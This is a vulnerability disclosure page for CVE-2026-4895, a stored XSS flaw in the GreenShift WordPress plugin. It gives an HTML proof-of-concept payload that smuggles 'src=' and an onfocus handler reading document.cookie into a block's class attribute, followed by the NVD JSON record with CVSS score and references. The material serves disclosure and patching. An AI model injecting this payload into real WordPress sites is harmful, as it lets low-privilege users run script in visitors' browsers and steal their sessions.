CVE-2026-4895

<!-- PoC for CVE-2026-4895: Stored XSS in GreenShift Plugin --> <!-- Step 1: Add a GreenShift Image block in WordPress editor --> <!-- Step 2: Enable 'disablelazy' attribute for the block --> <!-- Step 3: Inject the following payload into a class attribute (or any attribute processed before src) --> <div class="wp-block-greenshift-image injected-class src='x' onfocus=alert(document.cookie) autofocus='1'"> <img src="image.jpg" class="gs-image" /> </div> <!-- Explanation: --> <!-- The plugin processes this block and executes: --> <!-- str_replace('src=', 'fetchpriority="high" src=', $html_content) --> <!-- When it hits the injected 'src=' inside the class attribute, it replaces it: --> <!-- class="... fetchpriority="high" src='x' onfocus=... --> <!-- This breaks the HTML structure, allowing the onfocus event to execute. -->

{"cve": {"id": "CVE-2026-4895", "sourceIdentifier": "[email protected]", "published": "2026-04-11T02:16:02.270", "lastModified": "2026-04-24T18:00:32.033", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GreenShift - Animation and Page Builder Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 12.8.9 This is due to insufficient input sanitization and output escaping in the gspb_greenShift_block_script_assets() function. The function uses str_replace() to insert 'fetchpriority=\"high\"' before 'src=' attributes when processing greenshift-blocks/image blocks with the disablelazy attribute enabled. Because this replacement operates on the entire HTML string without parsing, contributors can inject the string 'src=' into HTML attribute values (such as class attributes). When the str_replace executes, the double quotes in the replacement string break out of the attribute context, allowing injection of malicious HTML attributes like onfocus with JavaScript payloads. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/greenshift-animation-and-page-builder-blocks/tags/12.8.6/init.php#L866", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/greenshift-animation-and-page-builder-blocks/tags/12.8.6/init.php#L889", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/greenshift-animation-and-page-builder-blocks/trunk/init.php#L866", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/greenshift-animation-and-page-builder-blocks/trunk/init.php#L889", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3494855/greenshift-animation-and-page-builder-blocks/trunk/init.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fgreenshift-animation-and-page-builder-blocks/tags/12.8.9&new_path=%2Fgreenshift-animation-and-page-builder-blocks/tags/12.9.0", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6e3ae3c6-a7d1-46f0-a006-996c1fbe7c7e?source=cve", "source": "[email protected]"}]}}